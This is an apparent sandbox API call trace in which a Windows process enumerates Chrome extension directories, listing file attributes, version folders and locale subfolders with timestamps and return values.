	[0066.336] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), fInfoLevelId=0x0, lpFileInformation=0x127da418 | out: lpFileInformation=0x127da418*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd2c)) returned 1
	[0066.337] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), fInfoLevelId=0x0, lpFileInformation=0x127da468 | out: lpFileInformation=0x127da468*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xa0)) returned 1
	[0066.337] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), fInfoLevelId=0x0, lpFileInformation=0x127da4b8 | out: lpFileInformation=0x127da4b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b74730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe4180700, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0x5c)) returned 1
	[0066.337] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), fInfoLevelId=0x0, lpFileInformation=0x127da508 | out: lpFileInformation=0x127da508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b9b830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe4180700, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0x5f)) returned 1
	[0066.337] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json"), fInfoLevelId=0x0, lpFileInformation=0x127da558 | out: lpFileInformation=0x127da558*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b9b830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2d5)) returned 1
	[0066.337] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake"), fInfoLevelId=0x0, lpFileInformation=0x127da5a8 | out: lpFileInformation=0x127da5a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.338] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.338] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*", lpFindFileData=0x124156c0 | out: lpFindFileData=0x124156c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.338] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124156e0 | out: lpFindFileData=0x124156e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.338] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124156e0 | out: lpFindFileData=0x124156e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86833250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.9_0", cAlternateFileName="")) returned 1
	[0066.338] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124156e0 | out: lpFindFileData=0x124156e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.338] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.338] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0"), fInfoLevelId=0x0, lpFileInformation=0x127da648 | out: lpFileInformation=0x127da648*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86833250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.339] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.339] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*", lpFindFileData=0x1241565c | out: lpFindFileData=0x1241565c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86833250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.341] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241567c | out: lpFindFileData=0x1241567c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86833250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.341] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241567c | out: lpFindFileData=0x1241567c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86833250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_128.png", cAlternateFileName="")) returned 1
	[0066.341] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241567c | out: lpFindFileData=0x1241567c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86833250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_16.png", cAlternateFileName="")) returned 1
	[0066.341] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241567c | out: lpFindFileData=0x1241567c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe051a00, ftLastWriteTime.dwHighDateTime=0x1d03f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.html", cAlternateFileName="MAIN~1.HTM")) returned 1
	[0066.341] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241567c | out: lpFindFileData=0x1241567c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe051a00, ftLastWriteTime.dwHighDateTime=0x1d03f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.js", cAlternateFileName="")) returned 1
	[0066.341] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241567c | out: lpFindFileData=0x1241567c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86727140, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1
	[0066.341] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241567c | out: lpFindFileData=0x1241567c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1
	[0066.341] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241567c | out: lpFindFileData=0x1241567c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x867288b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8687f510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8687f510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1
	[0066.341] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241567c | out: lpFindFileData=0x1241567c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.341] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.342] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales"), fInfoLevelId=0x0, lpFileInformation=0x127da8c8 | out: lpFileInformation=0x127da8c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.343] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.343] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*", lpFindFileData=0x124155f8 | out: lpFindFileData=0x124155f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_419", cAlternateFileName="")) returned 1
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
	[0066.345] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1
